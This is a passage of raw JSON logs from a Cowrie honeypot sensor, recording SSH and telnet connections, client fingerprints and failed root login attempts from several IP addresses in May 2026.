{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:b2:d9:d1:d7:8d:29:2c:25:ac:1f:4b:32:2a:27:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxUvUlE8zUtZuBBFVTFgJhDY5Vm7d91Q/Dc7escD3Xd/hP6w/53MQZM43OD5BQ8akv3gr1lnRON39pw5Cyslb1qK1McNPjQdtPoSUEFyxkr1DNtJOw+rYwEiHWdoC1+MABFRf0yHJF6vM4tYJ+kE4+z8xvXzU1WESM6X4vAsAQdb1YjR0JZbBTFKFCdJu5iuAJ2zxmC3k//t2/k3b1LcvxlbFa4Jf45ucmV+kRN+JatunVhHKMcyURbNZRdyXL+g4wNTZrMR87fE1S3xbiXF0K7WnRV6/GshL5qWi/s0/37lmmtCRcquavL5GPReYPD7DfWrcZ030wOQ9bWQ6BglgPw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.412930Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:16:6d:fa:69:b9:28:9a:c8:71:1b:1f:c8:3f:bf:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwM+4d85yGELwTeScM8iS/LS9hhhs5BK2MZ+NrcSyQdV+1MxvUyEgeTuKNFogKoOyaGp0ey9Ai3LPUsg9TW9PB3bhVi/g3BDJROAxwDW7iQdA2eWXvCibizYtCiJIhFkK0+Pt3uKxHRAw08nPx4xozzANwYde3etKWKuKtqP8n2Pg4X+mbuxMTSwjZBAEGWZRgKjeLOuPeVlhPAjvvsAgE2jTpoA63nMNRqyRI8FTZS/fi5W0Cy+Es90iN1l5FAe+lGcX1PVuhmbLrw+1M7Ws8mfC636kda7qUDf3wg8RgwDwbGn70I3SuSw/C/Qa9+O5w99W8rvVGrRTkMSnBTh2Vfe0uxvdnncTWkCbBUm6PGkOwctHZv1TTwqod6kfKkCPRafoivnFsFydkZEJGL2PEShHQ5lk8gU+nTVvEKDsOqAdoe6QXLCAw/WrYVMRX6JsnvGikvg0bKSgxDMaOOKzTChaGRQ3dmfD1ruO9wAL3ns5yUqCWd5MeZGK7R83xTWFzrLQo5OSuEXJzqcl9zZ+3+KVggYYxwf/CXoj1yyo+QrEAg4peVd9nlsbfkA/qhDRXZbwmSzvw8EOnMqcb+c5fifLZtTVeqYrD3Qgj58WZdixOHtZK4luZ28WCHU+RObVZAbREaPX0N0fzLiQzPic4ioQzvJ6fjlhX3j0xrbZYhw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:16:6d:fa:69:b9:28:9a:c8:71:1b:1f:c8:3f:bf:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.505396Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:16:6d:fa:69:b9:28:9a:c8:71:1b:1f:c8:3f:bf:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwM+4d85yGELwTeScM8iS/LS9hhhs5BK2MZ+NrcSyQdV+1MxvUyEgeTuKNFogKoOyaGp0ey9Ai3LPUsg9TW9PB3bhVi/g3BDJROAxwDW7iQdA2eWXvCibizYtCiJIhFkK0+Pt3uKxHRAw08nPx4xozzANwYde3etKWKuKtqP8n2Pg4X+mbuxMTSwjZBAEGWZRgKjeLOuPeVlhPAjvvsAgE2jTpoA63nMNRqyRI8FTZS/fi5W0Cy+Es90iN1l5FAe+lGcX1PVuhmbLrw+1M7Ws8mfC636kda7qUDf3wg8RgwDwbGn70I3SuSw/C/Qa9+O5w99W8rvVGrRTkMSnBTh2Vfe0uxvdnncTWkCbBUm6PGkOwctHZv1TTwqod6kfKkCPRafoivnFsFydkZEJGL2PEShHQ5lk8gU+nTVvEKDsOqAdoe6QXLCAw/WrYVMRX6JsnvGikvg0bKSgxDMaOOKzTChaGRQ3dmfD1ruO9wAL3ns5yUqCWd5MeZGK7R83xTWFzrLQo5OSuEXJzqcl9zZ+3+KVggYYxwf/CXoj1yyo+QrEAg4peVd9nlsbfkA/qhDRXZbwmSzvw8EOnMqcb+c5fifLZtTVeqYrD3Qgj58WZdixOHtZK4luZ28WCHU+RObVZAbREaPX0N0fzLiQzPic4ioQzvJ6fjlhX3j0xrbZYhw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.508709Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:c2:6d:ad:6b:3d:76:68:dc:97:f9:00:f3:b2:5b:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCigANElGh2wRMYFukDd3FQVaO+wsHdchHm+ewnuZtZ5yHPLYlOi38Znea/9wmHwnh19yJFlGYZHsnfavKAU3G9cZbuYm40gty4lKf2Rh8dB52dGWzODYSDclgQjRbq4Ju0HfKBtr/oiTuNTU5FYZeTpVhDE4ceoZvO/9s1gNAUKMqQoYMJlqXSodK/zu0ZMPI141JdZ4f5UGF6vJmfvZbQBuAMpXRxsIRj1IXpe7JAbdSd4VUnXtx3TPXlwc4oxcSKp+HpoeFIRhPdcT9ZV3+wc+zAeD7/c9LvQpEDG9qrwLc/PbPrz9rvN2HbxOf4j7lj4VhA1/Fhrd1qiBVkt07f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:c2:6d:ad:6b:3d:76:68:dc:97:f9:00:f3:b2:5b:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.601201Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:c2:6d:ad:6b:3d:76:68:dc:97:f9:00:f3:b2:5b:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCigANElGh2wRMYFukDd3FQVaO+wsHdchHm+ewnuZtZ5yHPLYlOi38Znea/9wmHwnh19yJFlGYZHsnfavKAU3G9cZbuYm40gty4lKf2Rh8dB52dGWzODYSDclgQjRbq4Ju0HfKBtr/oiTuNTU5FYZeTpVhDE4ceoZvO/9s1gNAUKMqQoYMJlqXSodK/zu0ZMPI141JdZ4f5UGF6vJmfvZbQBuAMpXRxsIRj1IXpe7JAbdSd4VUnXtx3TPXlwc4oxcSKp+HpoeFIRhPdcT9ZV3+wc+zAeD7/c9LvQpEDG9qrwLc/PbPrz9rvN2HbxOf4j7lj4VhA1/Fhrd1qiBVkt07f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.605334Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.700444Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.210.155.71","src_port":53396,"dst_ip":"10.17.0.5","dst_port":22,"session":"474065686c16","protocol":"ssh","message":"New connection: 210.210.155.71:53396 (10.17.0.5:22) [session: 474065686c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:02.753688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:02.760435Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:02.992205Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:1f:37:3c:a1:b5:bd:fd:a1:f9:62:29:1b:93:99:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCOGBPCSbW2Ak+e4SmvpjSggZ0aw42fSUlU0mvFUOucCpqhU2mnz7Jdv1A28O6DYOwJMZe4UoHcZTDQViJlD+pgO+HLEszKdINFQhIRn7pnajg4/5cEfwU+pxbxREzGWBY8Gv0lf7kMrxXsTpET403lu+xJWHRao1aZNhN/817KQjUQtoEqsKA39/uIoQhy1h7vZQbHWWZyQdGHcgEsrCOKwuY6QBpYXOo/WoKrPvZYcXEXOeipuOz9ezkTrhqtg7Lxm0ip+BDzqKXBtIBbBB94oIs6U2O3cZIQy4H9hgTUA3XWpPQ2J46dwx3RLWyN9BkS7mhv7dML0qOOWaZ54jIb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:1f:37:3c:a1:b5:bd:fd:a1:f9:62:29:1b:93:99:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:04.121627Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:1f:37:3c:a1:b5:bd:fd:a1:f9:62:29:1b:93:99:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCOGBPCSbW2Ak+e4SmvpjSggZ0aw42fSUlU0mvFUOucCpqhU2mnz7Jdv1A28O6DYOwJMZe4UoHcZTDQViJlD+pgO+HLEszKdINFQhIRn7pnajg4/5cEfwU+pxbxREzGWBY8Gv0lf7kMrxXsTpET403lu+xJWHRao1aZNhN/817KQjUQtoEqsKA39/uIoQhy1h7vZQbHWWZyQdGHcgEsrCOKwuY6QBpYXOo/WoKrPvZYcXEXOeipuOz9ezkTrhqtg7Lxm0ip+BDzqKXBtIBbBB94oIs6U2O3cZIQy4H9hgTUA3XWpPQ2J46dwx3RLWyN9BkS7mhv7dML0qOOWaZ54jIb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:04.125561Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:ef:63:49:e0:30:97:de:d8:f1:1a:c1:d4:38:e8:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWz4nq8MaIZSwmPqcnCoIGbqis0EZY4HvzvT7HgKSC1+HGHEiEoKBzwgWQwMeRpNq19dDf5VzaA1Z8yACPF3wZGBk1J0yeMbygSDgsUvWncPPN5Mh/FW25DuXhfPiUehNHQfQjh4zqvW/eLgB5mUCQ5EtPZO+ubxTVzCuOrekzuE58csWnvyvS/r4nqGq4ZnghzKl2X1okmwcJ7MtcftNEpHSneusBU+630RxCqKF8TKhhddH5SMlX04ooq/BqpElPy8eOwB94lqtavUIrduIMmzTxLi7I9yKyCbOlSpg9YbTH4ZaWdDMFhSE0FW35X2Qyq/B62A2mkQzcqiLxOnOaNfLXCmq9HlTX+DCIgAu4aEs0py37OTffKg01JeowPVRSz7FkWcF4gzUkc4+tEK3dRCmxaa2SRD/63lV6AEkflO7cLEkjY1KxH7wpOOy6HUzFhZsmGZjC9e1ZJeOLwyCkLYz0lcgGTO1yhVpLELBqh+upwtRuP2fLgQz5xUMDYh8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:ef:63:49:e0:30:97:de:d8:f1:1a:c1:d4:38:e8:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:04.356916Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:ef:63:49:e0:30:97:de:d8:f1:1a:c1:d4:38:e8:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWz4nq8MaIZSwmPqcnCoIGbqis0EZY4HvzvT7HgKSC1+HGHEiEoKBzwgWQwMeRpNq19dDf5VzaA1Z8yACPF3wZGBk1J0yeMbygSDgsUvWncPPN5Mh/FW25DuXhfPiUehNHQfQjh4zqvW/eLgB5mUCQ5EtPZO+ubxTVzCuOrekzuE58csWnvyvS/r4nqGq4ZnghzKl2X1okmwcJ7MtcftNEpHSneusBU+630RxCqKF8TKhhddH5SMlX04ooq/BqpElPy8eOwB94lqtavUIrduIMmzTxLi7I9yKyCbOlSpg9YbTH4ZaWdDMFhSE0FW35X2Qyq/B62A2mkQzcqiLxOnOaNfLXCmq9HlTX+DCIgAu4aEs0py37OTffKg01JeowPVRSz7FkWcF4gzUkc4+tEK3dRCmxaa2SRD/63lV6AEkflO7cLEkjY1KxH7wpOOy6HUzFhZsmGZjC9e1ZJeOLwyCkLYz0lcgGTO1yhVpLELBqh+upwtRuP2fLgQz5xUMDYh8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:04.360955Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:cb:19:32:c7:81:8e:f0:27:f2:90:fe:23:32:66:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMcvETA3Ey3Jxfa8vFnaK+N+jHYSDCHXYpx1/36Q8lluyeAXmYoB/3qVYRx0OiudINXC9wvQ+CVCNiGGsRh9X0WtkeXi7vQ0mK7K/unFuSYufG+qrTCxERdhyWhtOo5ayBhQAE8CQA51v7W0OoSzKeyrpjxoO4rgsYWwVYNEfYAw+ZyiZTPF7M/QwQJQCP2FwZLz4t0s2YwyfWSsGspZNdWl7e5EUrDV2MHETC/6RLGqaOD1sZfeXoZd6HLCeyrNm1bwK+dwH0K6/NlllXjiCt35GtKTHWEFnLC24UPIUCqVBx1sox3H6ouOG174AJJ4CAkAjC1sMCuljnrjmstRqd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:cb:19:32:c7:81:8e:f0:27:f2:90:fe:23:32:66:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:04.592235Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:cb:19:32:c7:81:8e:f0:27:f2:90:fe:23:32:66:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMcvETA3Ey3Jxfa8vFnaK+N+jHYSDCHXYpx1/36Q8lluyeAXmYoB/3qVYRx0OiudINXC9wvQ+CVCNiGGsRh9X0WtkeXi7vQ0mK7K/unFuSYufG+qrTCxERdhyWhtOo5ayBhQAE8CQA51v7W0OoSzKeyrpjxoO4rgsYWwVYNEfYAw+ZyiZTPF7M/QwQJQCP2FwZLz4t0s2YwyfWSsGspZNdWl7e5EUrDV2MHETC/6RLGqaOD1sZfeXoZd6HLCeyrNm1bwK+dwH0K6/NlllXjiCt35GtKTHWEFnLC24UPIUCqVBx1sox3H6ouOG174AJJ4CAkAjC1sMCuljnrjmstRqd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:04.596330Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:2b:51:f0:0d:7b:7a:08:24:b5:96:22:61:09:aa:5e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICIUq1PA86lMrsMkyHhiG387XReZDT3ksNYlQ/vobLiG","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c1:2b:51:f0:0d:7b:7a:08:24:b5:96:22:61:09:aa:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:04.831847Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:2b:51:f0:0d:7b:7a:08:24:b5:96:22:61:09:aa:5e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICIUq1PA86lMrsMkyHhiG387XReZDT3ksNYlQ/vobLiG","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:04.836216Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:60:88:9d:05:fc:f1:2d:d4:12:0c:60:47:68:d5:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClEIpKjQLLkbAF1yS+KxoopPDivCWj05bNS3U7zbvbF1Xj/3eRpQ4k6SHUXQOJ9tWERRTod9zJS3d6Cl61VYH3212R5RtKdcfeCQIkDU676clscuQFpSwjnJ/Y8znNwNMsb+WpPWSZw9A75lldUP1wadNuon1r8dRuECHSj3EvRPJqCVGypnJMDfbxXx8MPe3JMat1YUHKccJO+J9n2ov6ROWDEhbiA3RIdYXzOA5VFQkiiOsJtbf8MSsm8qEyDPM8Qja1i7Nr7eFIdCF3iHr1xSWX3Nx/2ENdkPoiCvhRH00UjYP6m0/dHbFSiXYlQu+mtq080rMmDQ9n0Ny7dtc5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:60:88:9d:05:fc:f1:2d:d4:12:0c:60:47:68:d5:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:05.068595Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:60:88:9d:05:fc:f1:2d:d4:12:0c:60:47:68:d5:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClEIpKjQLLkbAF1yS+KxoopPDivCWj05bNS3U7zbvbF1Xj/3eRpQ4k6SHUXQOJ9tWERRTod9zJS3d6Cl61VYH3212R5RtKdcfeCQIkDU676clscuQFpSwjnJ/Y8znNwNMsb+WpPWSZw9A75lldUP1wadNuon1r8dRuECHSj3EvRPJqCVGypnJMDfbxXx8MPe3JMat1YUHKccJO+J9n2ov6ROWDEhbiA3RIdYXzOA5VFQkiiOsJtbf8MSsm8qEyDPM8Qja1i7Nr7eFIdCF3iHr1xSWX3Nx/2ENdkPoiCvhRH00UjYP6m0/dHbFSiXYlQu+mtq080rMmDQ9n0Ny7dtc5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:05.073486Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:05.308317Z","src_ip":"210.210.155.71","session":"474065686c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:11.755359Z","src_ip":"163.53.168.23","session":"c1eaa37d212a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":59550,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad14ff4b7e2f","protocol":"ssh","message":"New connection: 43.173.88.240:59550 (10.17.0.5:22) [session: ad14ff4b7e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:11.772978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:11.777565Z","src_ip":"43.173.88.240","session":"ad14ff4b7e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:11.845553Z","src_ip":"43.173.88.240","session":"ad14ff4b7e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ana01","message":"login attempt [root/ana01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:12.150415Z","src_ip":"43.173.88.240","session":"ad14ff4b7e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:13.221495Z","src_ip":"43.173.88.240","session":"ad14ff4b7e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48234,"dst_ip":"10.17.0.5","dst_port":23,"session":"730ee6bdca34","protocol":"telnet","message":"New connection: 152.42.224.71:48234 (10.17.0.5:23) [session: 730ee6bdca34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:28.994262Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35120,"dst_ip":"10.17.0.5","dst_port":22,"session":"43ac36a846ca","protocol":"ssh","message":"New connection: 109.237.96.109:35120 (10.17.0.5:22) [session: 43ac36a846ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:46.470661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:46.475115Z","src_ip":"109.237.96.109","session":"43ac36a846ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 